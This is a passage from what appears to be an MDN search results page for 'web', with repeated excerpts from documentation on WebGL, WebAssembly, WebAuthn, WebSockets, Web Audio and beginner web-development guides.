...s animation engine to developers and manipulation by JavaScript. This API was designed to underlie implementations of both CSS Animations and CSS Transitions, and leaves the door open to future animation effects. It is one of the most performant ways to animate on the
Web, letting the browser make its own internal optimizations without hacks, coercion, or Window.requestAnimationFrame(). With the
Web Animations API, we can move interactive animations from stylesheets to JavaScript, separating presentation from behavior. We no longer need to rely on DOM-heavy techniques such as writing CSS properties and scoping classes onto elements to control playback direction. And unlike pure, declarative CSS, JavaScript also lets us dynamically set values from properties to durations. For building custom ...
...esheets to JavaScript, separating presentation from behavior. We no longer need to rely on DOM-heavy techniques such as writing CSS properties and scoping classes onto elements to control playback direction. And unlike pure, declarative CSS, JavaScript also lets us dynamically set values from properties to durations. For building custom animation libraries and creating interactive animations, the
Web Animations API might be the perfect tool for the job. Let's see what it can do! Browser Support The basic
Web Animations API features discussed in this article are available by default in Firefox 48+ and Chrome 36+. Safari supports
Web Animations in its Technology Preview version and there is also a handy polyfill that tests for feature support and adds it where necessary. Writing CSS Animatio...
...And 14 more matches
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
See the Usage notes and Examples for details. If the scaling factor is 1.0, then the frame buffer pixels and the native display pixels are the same size. ...
...See the Usage notes and Examples for details. If the scaling factor is 1.0, then the frame buffer pixels and the native display pixels are the same size. ...
...See the Usage notes and Examples for details. If the scaling factor is 1.0, then the frame buffer pixels and the native display pixels are the same size. ...
...And 14 more matches
How do you upload your files to a web server? - Learn web development
In this article we'll discuss how to do that, using various available options such as SFTP clients, RSync and GitHub. ...
...In this article we'll discuss how to do that, using various available options such as SFTP clients, RSync and GitHub. ...
...In this article we'll discuss how to do that, using various available options such as SFTP clients, RSync and GitHub. SFTP There are several SFTP clients out there. ...
...And 13 more matches
What is a web server? - Learn web development
In this article, we explain what
web servers are, how
web servers work, and why they are important. Prerequisites: You should already know how the Internet works, and understand the difference between a
web page, a
web site, a
web server, and a search engine. Objective: You will learn what a
web server is and gain a general understanding of how it works. Summary The term
web server can refer to hardware or software, or both of them working together. On the hardware side, a
web server is a computer that stores
web server software and a
website's component files. ...
...bjective: You will learn what a
web server is and gain a general understanding of how it works. Summary The term
web server can refer to hardware or software, or both of them working together. On the hardware side, a
web server is a computer that stores
web server software and a
website's component files. (for example, HTML documents, images, CSS stylesheets, and JavaScript files) A
web server connects to the Internet and supports physical data interchange with other devices connected to the
web. On the software side, a
web server includes several parts that control how
web users access hosted files. At a minimum, this is an HTTP server. An HTTP server is software that understands URLs (
web addresses) and HTTP (the protocol your browser uses to view
webpages). An HTTP server ca...
...physical data interchange with other devices connected to the
web. On the software side, a
web server includes several parts that control how
web users access hosted files. At a minimum, this is an HTTP server. An HTTP server is software that understands URLs (
web addresses) and HTTP (the protocol your browser uses to view
webpages). An HTTP server can be accessed through the domain names of the
websites it stores, and it delivers the content of these hosted
websites to the end user's device. At the most basic level, whenever a browser needs a file that is hosted on a
web server, the browser requests the file via HTTP. ...
...And 13 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the texture. ...
...Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the texture. ...
...he attachment point for the texture. Possible values: gl.COLOR_ATTACHMENT0: Texture attachment for the framebuffer's color buffer. gl.DEPTH_ATTACHMENT: Texture attachment for the framebuffer's depth buffer. gl.STENCIL_ATTACHMENT: Texture attachment for the framebuffer's stencil buffer. gl.DEPTH_STENCIL_ATTACHMENT: Texture attachment for both, the depth and stencil buffer. ...
...And 13 more matches
Web Authentication API - Web APIs
The
Web Authentication API is an extension of the Credential Management API that enables strong authentication with public key cryptography, enabling passwordless authentication and/or secure second-factor authentication without SMS texts.
Web authentication concepts and usage The
Web Authentication API (also referred to as
WebAuthn) uses asymmetric (public-key) cryptography instead of passwords or SMS texts for registering, authenticating, and second-factor authentication with
websites. This resolves significant security problems related to phishing, data breaches, and attacks against SMS texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords). ...
...ds or SMS texts for registering, authenticating, and second-factor authentication with
websites. This resolves significant security problems related to phishing, data breaches, and attacks against SMS texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords). Many
websites already have pages that allow users to register new accounts or sign in to an existing account, and the
Web Authentication API acts as a replacement or supplement to those on those existing
webpages. Similar to the other forms of the Credential Management API, the
Web Authentication API has two basic methods that correspond to register and login: navigator.credentials.create() - when used...
...ge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network. In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser: Server - the
Web Authentication API is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user. Authenticator - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in...
...And 13 more matches
How the Web works - Learn web development
Previous Overview: Getting started with the
web How the
web works provides a simplified view of what happens when you view a
webpage in a
web browser on your computer or phone. This theory is not essential to writing
web code in the short term, but before long you'll really start to benefit from understanding what's happening in the background. Clients and servers Computers connected to the
web are called clients and servers. A simplified diagram of how they interact might look like this: Clients are the typical
web user's internet-connected devices (for example, your computer connected to your Wi-Fi, or your phone connected to your mobile network) and
web-accessing software available on those devices (usually a
web browser like Firefox or Chrome). Servers are computers tha...
...are called clients and servers. A simplified diagram of how they interact might look like this: Clients are the typical
web user's internet-connected devices (for example, your computer connected to your Wi-Fi, or your phone connected to your mobile network) and
web-accessing software available on those devices (usually a
web browser like Firefox or Chrome). Servers are computers that store
webpages, sites, or apps. When a client device wants to access a
webpage, a copy of the
webpage is downloaded from the server onto the client machine to be displayed in the user's
web browser. ...
...It's basically like the street between your house and the shop. ...
...And 12 more matches
WEBGL_draw_buffers - Web APIs
The
WEBGL_draw_buffers extension is part of the
WebGL API and enables a fragment shader to write to several textures, which is useful for deferred shading, for example.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default. In
WebGL 2, the constants are available without the "
WEBGL" suffix and the new GLSL built-ins require GLSL #version 300 es. Constants This extension exposes new constants, which can be used in the gl.framebufferRenderbuffer(), gl.framebufferTexture2D(), gl.getFramebufferAttachmentParameter() ext.drawBuffers...
...GL2, the functionality of this extension is available on the
WebGL2 context by default. In
WebGL 2, the constants are available without the "
WEBGL" suffix and the new GLSL built-ins require GLSL #version 300 es. Constants This extension exposes new constants, which can be used in the gl.framebufferRenderbuffer(), gl.framebufferTexture2D(), gl.getFramebufferAttachmentParameter() ext.drawBuffers
WEBGL(), and gl.getParameter() methods. ...
...L2 context by default. In
WebGL 2, the constants are available without the "
WEBGL" suffix and the new GLSL built-ins require GLSL #version 300 es. Constants This extension exposes new constants, which can be used in the gl.framebufferRenderbuffer(), gl.framebufferTexture2D(), gl.getFramebufferAttachmentParameter() ext.drawBuffers
WEBGL(), and gl.getParameter() methods. ...
...And 12 more matches
WebGLRenderingContext.texImage2D() - Web APIs
The
WebGLRenderingContext.texImage2D() method of the
WebGL API specifies a two-dimensional texture image. ...
... The
WebGLRenderingContext.texImage2D() method of the
WebGL API specifies a two-dimensional texture image. ...
..., format, type, ImageData? pixels); void gl.texImage2D(target, level, internalformat, format, type, HTMLImageElement? pixels); void gl.texImage2D(target, level, internalformat, format, type, HTMLCanvasElement? pixels); void gl.texImage2D(target, level, internalformat, format, type, HTMLVideoElement? pixels); void gl.texImage2D(target, level, internalformat, format, type, ImageBitmap? ...
...And 12 more matches
Adding 2D content to a WebGL context - Web APIs
A simple thing we can do is draw a simple square untextured plane, so let's start there, by building code to draw a square plane. The complete source code for this project is available on GitHub. This project uses the glMatrix library to perform its matrix operations, so you will need to include that in your project. We're loading a copy from a CDN in our HTML's <head>. Drawing the scene The most important thing to understand before we get started is that even though we're only rendering a square plane object in this example, we're still drawing in 3D space. ...
...ur object. These will establish how the square plane appears on the screen. The shaders A shader is a program, written using the OpenGL ES Shading Language (GLSL), that takes information about the vertices that make up a shape and generates the data needed to render the pixels onto the screen: namely, the positions of the pixels and their colors. There are two shader functions run when drawing
WebGL content: the vertex shader and the fragment shader. You write these in GLSL and pass the text of the code into
WebGL to be compiled for execution on the GPU. Together, a set of vertex and fragment shaders is called a shader program. Let's take a quick look at the two types of shader, with the example in mind of drawing a 2D shape into the
WebGL context. Vertex shader Each time a shape is ren...
...x and fragment shaders is called a shader program. Let's take a quick look at the two types of shader, with the example in mind of drawing a 2D shape into the
WebGL context. Vertex shader Each time a shape is rendered, the vertex shader is run for each vertex in the shape. Its job is to transform the input vertex from its original coordinate system into the clip space coordinate system used by
WebGL, in which each axis has a range from -1.0 to 1.0, regardless of aspect ratio, actual size, or any other factors. The vertex shader must perform the needed transforms on the vertex's position, make any other adjustments or calculations it needs to make on a per-vertex basis, then return the transformed vertex by saving it in a special variable provided by GLSL, called gl_Position. The vertex s...
...And 12 more matches
Using textures in WebGL - Web APIs
if (isPowerOf2(image.width) && isPowerOf2(image.height)) { // Yes, it's a power of 2. Generate mips. gl.generateMipmap(gl.TEXTURE_2D); } else { // No, it's not a power of 2. Turn off mips and set // wrapping to cla...
...It then uploads a single blue pixel using texImage2D(). This makes the texture immediately usable as a solid blue color even though it may take a few moments for our image to download. To load the texture from the image file, it then creates an Image object and assigns the src to the url for our image we wish to use as our t...
....TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); } }; image.src = url; return texture; } function isPowerOf2(value) { return (value & (value - 1)) == 0; } The loadTexture() routine starts by creating a
WebGL texture object texture by calling the
WebGL createTexture() function. It then uploads a single blue pixel using texImage2D(). This makes the texture immediately usable as a solid blue color even though it may take a few moments for our image to download. To load the texture from the image file, it then creates an Image object and assigns the src to the url for our image we wish to use as our texture. The function we assign to image.onlo...
...And 12 more matches
Loading and running WebAssembly code - WebAssembly
To use
WebAssembly in JavaScript, you first need to pull your module into memory before compilation/instantiation. This article provides a reference for the different mechanisms that can be used to fetch
WebAssembly bytecode, as well as how to compile/instantiate then run it. What are the options?
WebAssembly is not yet integrated with <script type='module'> or ES2015 import statements, thus there is not a path to have the browser fetch modules for you using imports. The older
WebAssembly.compile/
WebAssembly.instantiate methods require you to create an ArrayBuffer containing your
WebAssembly module binary after fetching the raw bytes, and then compile/instantiate it. This is analogous to new Function(string), except that we are substituting a string of characters (JavaScript source code) ...
...ser fetch modules for you using imports. The older
WebAssembly.compile/
WebAssembly.instantiate methods require you to create an ArrayBuffer containing your
WebAssembly module binary after fetching the raw bytes, and then compile/instantiate it. This is analogous to new Function(string), except that we are substituting a string of characters (JavaScript source code) with an array buffer of bytes (
WebAssembly source code). The newer
WebAssembly.compileStreaming/
WebAssembly.instantiateStreaming methods are a lot more efficient -- they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the ArrayBuffer step. So how do we get those bytes into an array buffer and compiled? The following sections explain. Using Fetch Fetch is a convenient,...
...fficient -- they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the ArrayBuffer step. So how do we get those bytes into an array buffer and compiled? The following sections explain. Using Fetch Fetch is a convenient, modern API for fetching network resources. ...
...And 12 more matches
Compiling from Rust to WebAssembly - WebAssembly
If you have some Rust code, you can compile it into
WebAssembly (wasm). This tutorial takes you through all you need to know to compile a Rust project to wasm and use it in an existing
web app. Rust and
WebAssembly use cases There are two main use cases for Rust and
WebAssembly: To build an entire application -- an entire
web app based in Rust. To build a part of an application -- using Rust in an existing JavaScript frontend. For now, the Rust team is focusing on the latter case, and so that's what we cover here. For the former case, check out projects like yew. In this tutorial, we build an npm package using wasm-pack, a tool for building npm packages in Rust. ...
...tion -- an entire
web app based in Rust. To build a part of an application -- using Rust in an existing JavaScript frontend. For now, the Rust team is focusing on the latter case, and so that's what we cover here. For the former case, check out projects like yew. In this tutorial, we build an npm package using wasm-pack, a tool for building npm packages in Rust. This package will contain only
WebAssembly and JavaScript code, and so the users of the package won't need Rust installed. They may not even notice that it's written in
WebAssembly. Rust Environment Setup Let's go through all the required steps to get our environment set up. Install Rust Install Rust by going to the Install Rust page and following the instructions. This installs a tool called "rustup", which lets you manage mu...
...cargo, Rust's package manager, rust-std, Rust's standard libraries, and some helpful docs -- rust-docs. Note: Pay attention to the post-install note about needing cargo's bin directory in your system PATH. This is added automatically, but you must restart your terminal for it to take effect. wasm-pack To build the package, we need an additional tool, wasm-pack. This helps compile the code to
WebAssembly, as well as produce the right packaging for npm. To download and install it, enter the following command into your terminal: $ cargo install wasm-pack Install Node.js We are building an npm package in this tutorial, and so you need to have Node.js and npm installed. To get Node.js and npm, go to the Get npm! page and follow the instructions. When it comes to picking a version, choose ...
...And 12 more matches
Publishing your website - Learn web development
Previous Overview: Getting started with the
web Next Once you finish writing the code and organizing the files that make up your
website, you need to put it all online so people can find it. This article explains how to get your simple sample code online with little effort. What are the options? ...
... Previous Overview: Getting started with the
web Next Once you finish writing the code and organizing the files that make up your
website, you need to put it all online so people can find it. This article explains how to get your simple sample code online with little effort. What are the options? ...
...g a
website is a complex topic because there are many ways to go about it. This article doesn't attempt to document all the possible methods. Instead, it explains the advantages and disadvantages of three approaches that are practical for beginners. Then it steps through one method that can work right away for many readers. Getting hosting and a domain name To have more control over content and
website appearance, most people choose to buy
web hosting and a domain name:
Web hosting is rented file space on a hosting company's
web server. You put
website files on the
web server. The
web server provides
website content to
website visitors. A domain name is the unique address where people find your
website, such as http://www.mozilla.org or http://www.bbc.co.uk. You can rent your domain nam...
...And 11 more matches
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
The
WebGLRenderingContext.compressedTexImage2D() and
WebGL2RenderingContext.compressedTexImage3D() methods of the
WebGL API specify a two- or three-dimensional texture image in a compressed format. Compressed image formats must be enabled by
WebGL extensions before using these methods. ...
... The
WebGLRenderingContext.compressedTexImage2D() and
WebGL2RenderingContext.compressedTexImage3D() methods of the
WebGL API specify a two- or three-dimensional texture image in a compressed format. Compressed image formats must be enabled by
WebGL extensions before using these methods. ...
... and
WebGL2RenderingContext.compressedTexImage3D() methods of the
WebGL API specify a two- or three-dimensional texture image in a compressed format. Compressed image formats must be enabled by
WebGL extensions before using these methods. ...
...And 11 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
Syntax void gl.vertexAttribPointer(index, size, type, normalized, stride, offset); Parameters index A GLuint specifying the index of the vertex attribute that is to be modified. size A GLint specifying the number of components per vertex attribute. Must be 1, 2, 3, or 4. type A GLenum specifying the data type of each component in the array. ...
...cifying the data type of each component in the array. Possible values: gl.BYTE: signed 8-bit integer, with values in [-128, 127] gl.SHORT: signed 16-bit integer, with values in [-32768, 32767] gl.UNSIGNED_BYTE: unsigned 8-bit integer, with values in [0, 255] gl.UNSIGNED_SHORT: unsigned 16-bit integer, with values in [0, 65535] gl.FLOAT: 32-bit IEEE floating point number When using a
WebGL 2 context, the following values are available additionally: gl.HALF_FLOAT: 16-bit IEEE floating point number normalized A GLboolean specifying whether integer data values should be normalized into a certain range when being cast to a float. For types gl.BYTE and gl.SHORT, normalizes the values to [-1, 1] if true. For types gl.UNSIGNED_BYTE and gl.UNSIGNED_SHORT, norma...
...offset A GLintptr specifying an offset in bytes of the first component in the vertex attribute array. Must be a multiple of the byte length of type. Return value None. Exceptions A gl.INVALID_VALUE error is thrown if offset is negative. A gl.INVALID_OPERATION error is thrown if stride and offset are not multiples of the size of the data type. A gl.INVALID_OPERATION error is thrown if no
WebGLBuffer is bound to the ARRAY_BUFFER target. When using a
WebGL 2 context, a gl.INVALID_OPERATION error is thrown if this vertex attribute is defined as a integer in the vertex shader (e.g. uvec4 or ivec4, instead of vec4). Description Let's assume we want to render some 3D geometry, and for that we will need to supply our vertices to the Vertex Shader. Each vertex has a few attributes, like ...
...And 11 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
A core use-case for
WebAssembly is to take the existing ecosystem of C libraries and allow developers to use them on the
web. These libraries often rely on C's standard library, an operating system, a file system and other things. Emscripten provides most of these features, although there are some limitations. As an example, let's compile an encoder for
WebP to wasm. The source for the
WebP codec is written in C and available on GitHub as well as some extensive API documentation. That's a pretty good starting point. ...
... C's standard library, an operating system, a file system and other things. Emscripten provides most of these features, although there are some limitations. As an example, let's compile an encoder for
WebP to wasm. The source for the
WebP codec is written in C and available on GitHub as well as some extensive API documentation. That's a pretty good starting point. ...
...ibrary, an operating system, a file system and other things. Emscripten provides most of these features, although there are some limitations. As an example, let's compile an encoder for
WebP to wasm. The source for the
WebP codec is written in C and available on GitHub as well as some extensive API documentation. That's a pretty good starting point. ...
...And 11 more matches
Writing a WebSocket server in C# - Web APIs
Luckily, C# has a TcpListener class which does as the name suggests. It is in the System.Net.Sockets namespace. It is a good idea to include the namespace with the using keyword in order to write less. ...
...Luckily, C# has a TcpListener class which does as the name suggests. It is in the System.Net.Sockets namespace. It is a good idea to include the namespace with the using keyword in order to write less. It allows usage of a namespace's classes without typing the full namespace every time. ...
...This is known as handshaking. This sample code can detect a GET from the client. Note that this will block until the first 3 bytes of a message are available. Alternative solutions should be investigated for production environments. using System.Text; using System.Text.RegularExpressions; while(client.Available < 3) { // wait for enough bytes to be availabl...
...And 10 more matches
Using the Web Audio API - Web APIs
Let's take a look at getting started with the
Web Audio API. We'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning. The
Web Audio API does not replace the <audio> media element, but rather complements it, just like <canvas> coexists alongside the <img> element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the
Web Audio API. If you want to carry out more complex audio processing, as well as playback, the
Web Audio API provides much more power and control. ...
...For example, there is no ceiling of 32 or 64 sound calls at one time. ...
...boombox looks like this: Note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning. We could make this a lot more complex, but this is ideal for simple learning at this stage. Check out the final demo here on Codepen, or see the source code on GitHub. ...
...And 10 more matches
What software do I need to build a website? - Learn web development
In this article we lay out which software components you need when you're editing, uploading, or viewing a
website. Prerequisites: You should already know the difference between
webpages,
websites,
web servers, and search engines. Objective: Learn which software components you need if you want to edit, upload, or view a
website. Summary You can download most of the programs you need for
web development for free. We'll provide a few links in this article. You'll need tools to: Create and edit
webpages Upload files to your
web server View your
website Nearly all operating systems by default include a text editor and a browser, which you can use to view
websites. As a result, you usually only need to acquire software for transferring files to yo...
... the programs you need for
web development for free. We'll provide a few links in this article. You'll need tools to: Create and edit
webpages Upload files to your
web server View your
website Nearly all operating systems by default include a text editor and a browser, which you can use to view
websites. As a result, you usually only need to acquire software for transferring files to your
web server. Active Learning There is no active learning available yet. Dig deeper Creating and editing
webpages To create and edit a
website, you need a text editor. Text editors create and modify unformatted text files. Other formats, like RTF, let you to add formatting, like bold or underline. Those formats are not suitable for writing
web pages. You should put some thought into which text e...
...If you want something a bit fancier, there are plenty of third-party tools available. Third-party editors often come with extra features, including syntax coloring, auto-completion, collapsible sections, and code search. ...
...And 9 more matches
What will your website look like? - Learn web development
Previous Overview: Getting started with the
web Next What will your
website look like? discusses the planning and design work you have to do for your
website before writing code, including "What information does my
website offer?", "What fonts and colors do I want?", and "What does my site do?" First things first: planning Before doing anything, you need some ideas. What should your
website actually do? ...
...: Getting started with the
web Next What will your
website look like? discusses the planning and design work you have to do for your
website before writing code, including "What information does my
website offer?", "What fonts and colors do I want?", and "What does my site do?" First things first: planning Before doing anything, you need some ideas. What should your
website actually do? ...
...Do you like dogs, New York, or Pac-Man? What information are you presenting on the subject? ...
...And 9 more matches
What is web performance? - Learn web development
Does the site load quickly, allow the user to start interacting with it quickly, and offer reassuring feedback if something is taking time to load (e.g. a loading spinner)? Are scrolling and animations smooth? This article provides a brief introduction to objective, measureable
web performance*, looking at what technologies, techniques, and tools are involved in
web optimization. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To gain basic familiarity of what is involved with
web performance. ...
...ring feedback if something is taking time to load (e.g. a loading spinner)? Are scrolling and animations smooth? This article provides a brief introduction to objective, measureable
web performance*, looking at what technologies, techniques, and tools are involved in
web optimization. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To gain basic familiarity of what is involved with
web performance. * versus subjective, perceived performance, covered in the next article What is
web performance?
Web performance is the objective measurement and perceived user experience of a
web site or application. This includes the following major areas: Reducing overall load time: How long do...
...n basic familiarity of what is involved with
web performance. * versus subjective, perceived performance, covered in the next article What is
web performance?
Web performance is the objective measurement and perceived user experience of a
web site or application. This includes the following major areas: Reducing overall load time: How long does it take the files required to render the
web site to download on to the user's computer? This tends to be affected by latency, how big your files are, how many files there are, and other factors besides. A general strategy is to make your files as small as possible, reduce the number of HTTP requests made as much as possible, and employ clever loading techniques (such as preload) to make files available sooner. Making the site usable as so...
...And 9 more matches
Web performance - Learn web development
Building
websites requires HTML, CSS, and JavaScript. To build
websites and applications people want to use, which attract and retain users, you need to create a good user experience. Part of good user experience is ensuring the content is quick to load and responsive to user interaction. This is known as
web performance, and in this module you'll focus on the fundamentals of how to create performant
websites. The rest of our beginner's learning material tried to stick to
web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. ...
...ocus on the fundamentals of how to create performant
websites. The rest of our beginner's learning material tried to stick to
web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. Learning pathway While knowing HTML, CSS, and JavaScript is needed for implementing many
web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring
web performance. We do however recommend that before you work through this module, you at least get a basic idea of
web development by working through our Getting started with the
web module. It would also be helpful to go a bit deeper into these topics, wit...
... recommend that before you work through this module, you at least get a basic idea of
web development by working through our Getting started with the
web module. It would also be helpful to go a bit deeper into these topics, with modules such as: Introduction to HTML CSS first steps JavaScript first steps Once you've worked through this module, you'll probably be excited to go deeper into
web performance -- you can find a lot of further teachings in our main MDN
Web performance section, including overviews of performance APIs, testing and analysis tools, and performance bottleneck gotchas. Guides This topic contains the following guides. ...
...And 9 more matches
WebGLTransformFeedback - Web APIs
The
WebGLTransformFeedback interface is part of the
WebGL 2 API and enables transform feedback, which is the process of capturing primitives generated by vertex processing. It allows to preserve the post-transform rendering state of an object and resubmit this data multiple times. ...
... The
WebGLTransformFeedback interface is part of the
WebGL 2 API and enables transform feedback, which is the process of capturing primitives generated by vertex processing. It allows to preserve the post-transform rendering state of an object and resubmit this data multiple times. ...
... The
WebGLTransformFeedback interface is part of the
WebGL 2 API and enables transform feedback, which is the process of capturing primitives generated by vertex processing. It allows to preserve the post-transform rendering state of an object and resubmit this data multiple times. ...
...And 9 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
The location and movement of the user's headset represent their head's position and orientation in the virtual environment. ...
... The location and movement of the user's headset represent their head's position and orientation in the virtual environment. ...
...pment). The location and movement of the user's headset represent their head's position and orientation in the virtual environment. Hand controllers represent their hands in the same manner. Other hardware elements can be used similarly to represent other parts of the body, providing additional data to use when simulating the user's actions in their environment. ...
...And 9 more matches
Using Web Workers - Web APIs
Worker()) that runs a named JavaScript file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. ...
...an perform tasks without interfering with the user interface. In addition, they can perform I/O using XMLHttpRequest (although the responseXML and channel attributes are always null). Once created, a worker can send messages to the JavaScript code that created it by posting messages to an event handler specified by that code (and vice versa). This article provides a detailed introduction to using
web workers.
Web Workers API A worker is an object created using a constructor (e.g. Worker()) that runs a named JavaScript file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. Thus, using the window shortcut to get the current global scope (instead of self) within a Worker will return an error. The...
...ithin a Worker will return an error. The worker context is represented by a DedicatedWorkerGlobalScope object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use SharedWorkerGlobalScope). A dedicated worker is only accessible from the script that first spawned it, whereas shared workers can be accessed from multiple scripts. ...
...And 9 more matches
WebVR — Virtual Reality for the Web - Game development
This article introduced
WebVR from the perspective of its use in games. VR devices With the popularity of Oculus Rift and a lot of other devices in production coming soon to the market, the future looks bright -- we already have sufficient technology to make the VR experience "good enough" for playing games. ...
... games. VR devices With the popularity of Oculus Rift and a lot of other devices in production coming soon to the market, the future looks bright -- we already have sufficient technology to make the VR experience "good enough" for playing games. ...
...rket, the future looks bright -- we already have sufficient technology to make the VR experience "good enough" for playing games. There are many devices to chose from: desktop ones like Oculus Rift or HTC Vive, through consoles with Playstation VR (which admittedly doesn't support
WebVR at this time), to mobile experiences like Gear VR or Google Cardboard. Note: For more information, read our
WebVR Concepts article. The
WebVR API The
WebVR API is the central API for capturing information on VR Devices connected to a computer and headset position/orientation/velocity/acceleration information, and converting that into useful data you can use in your games and other applications. Note: There are of course other APIs useful for creating games, for example The Gamepad API for control inpu...
...And 8 more matches
Web-based protocol handlers - Web APIs
Background It's fairly common to find
web pages link to resources using non-http protocols. An example is the mailto: protocol: <a href="mailto:
webmaster@example.com">
Web Master</a>
Web authors can use a mailto: link when they want to provide a convenient way for users to send an email, directly from the
webpage. When the link is activated, the browser should launch the default desktop application for handling email. You can think of this as a desktop-based protocol handler.
Web-based protocol handlers allow
web-based applications to participate in the process too. This is becoming more important as more types of applications migrate to the
web. In fact, there are many
web-based email handling applications that could process a mailto link. ...
...lt desktop application for handling email. You can think of this as a desktop-based protocol handler.
Web-based protocol handlers allow
web-based applications to participate in the process too. This is becoming more important as more types of applications migrate to the
web. In fact, there are many
web-based email handling applications that could process a mailto link. Registering Setting up a
web application as a protocol handler is not a difficult process. Basically, the
web application uses registerProtocolHandler() to register itself with the browser as a potential handler for a given protocol. ...
... The URL template, used as the handler. The "%s" is replaced with the href of the link and a GET is executed on the resultant URL. The user friendly name for the protocol handler. ...
...And 8 more matches
Writing WebSocket client applications - Web APIs
WebSocket client applications use the
WebSocket API to communicate with
WebSocket servers using the
WebSocket protocol. Note: This feature is available in
Web Workers. Note: The example snippets in this article are taken from our
WebSocket chat client/server sample. See the code, then try out the example for yourself. Creating a
WebSocket object In order to communicate using the
WebSocket protocol, you need to create a
WebSocket object; this will automatically attempt to open the connection to the server. The
WebSocket constructor accepts one required and one optional parameter:
webSocket = new
WebSocket(url, protocols); url The URL to which to connect; this should be the URL to which the
WebSocket server will respond. This should use the URL scheme wss://, although some softwar...
...If you don't specify a protocol string, an empty string is assumed. The constructor will throw a SecurityError if the destination doesn't allow access. ...
...s (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). If you don't specify a protocol string, an empty string is assumed. The constructor will throw a SecurityError if the destination doesn't allow access. ...
...And 8 more matches
Web Audio API best practices - Web APIs
There's no strict right or wrong way when writing creative code. As long as you consider security, performance, and accessibility, you can adapt to your own style. In this article, we'll share a number of best practices -- guidelines, tips, and tricks for working with the
Web Audio API. Loading sounds/files There are four main ways to load sound with the
Web Audio API and it can be a little confusing as to which one you should use. When working with files, you are looking at either the grabbing the file from an HTMLMediaElement (i.e. an <audio> or <video> element), or you're looking to fetch the file and decode it into a buffer. Both are legitimate ways of working, however, it's more common to use the former when you are working with full-length tracks, and the latter when working with sh...
...mate ways of working, however, it's more common to use the former when you are working with full-length tracks, and the latter when working with shorter, more sample-like tracks. Media elements have streaming support out of the box. The audio will start playing when the browser determines it can load the rest of the file before playing finishes. You can see an example of how to use this with the
Web Audio API in the Using the
Web Audio API tutorial. You will, however, have more control if you use a buffer node. You have to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you have access to the data directly, which means more precision, and more precise manipulation. If you're looking to work with audio from the user's camer...
...ve to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you have access to the data directly, which means more precision, and more precise manipulation. If you're looking to work with audio from the user's camera or microphone you can access it via the Media Stream API and the MediaStreamAudioSourceNode interface. ...
...And 8 more matches
Styling web forms - Learn web development
In this article we will move on to looking at how to use CSS to style your form controls. This has historically been difficult -- form controls vary greatly in how easy they are to customize with CSS -- but it is getting easier as old browsers are retired and modern browsers give us more features to use. Prerequisites: Basic computer literacy, and a basic understanding of HTML and CSS. ...
... 1996, and wasn't supported very well by browsers for a few years after that. Browsers relied on the underlying operating system to manage and render form controls. And even with CSS available to style HTML, browser vendors have historically been reluctant to make form controls stylable because users were so accustomed to the visual appearance of their respective platforms. But this has changed.
Website owners want form styles that fit in with their overall site design more than ever, and the
web platform has changed to make this more possible. For some form widgets, it is still difficult to rebuild controls to make them stylable, but we can now use CSS to style many form features, though we do need to take extra care to ensure we don't break usability. Not all widgets are created equal wh...
...="submit"> does not inherit from the parent paragraph in Chrome. Rather, it uses the font-family: system-ui. This is another reason to use <button> elements over their equivalent input types! There's a lot of debate as to whether forms look better using the system default styles, or customized styles designed to match your content. This decision is yours to make, as the designer of your site, or
web application. Box sizing All text fields have complete support for every property related to the CSS box model, such as width, height, padding, margin, and border. As before, however, browsers rely on the system default styles when displaying these widgets. It's up to you to define how you wish to blend them into your content. If you want to keep the native look and feel of the widgets, you'll f...
...And 7 more matches
Getting started with the Web - Learn web development
You'll set up the tools you need to construct a simple
webpage and publish your own simple code. The story of your first
website It's a lot of work to create a professional
website, so if you're new to
web development, we encourage you to start small. You won't build another Facebook right away, but it's not hard to get your own simple
website online, so we'll start there. By working through the articles listed below in order, you will go from nothing to getting your first
webpage online. Let's begin our journey! Installing basic software When it comes to tools for building a
website, there's a lot to pick from. ...
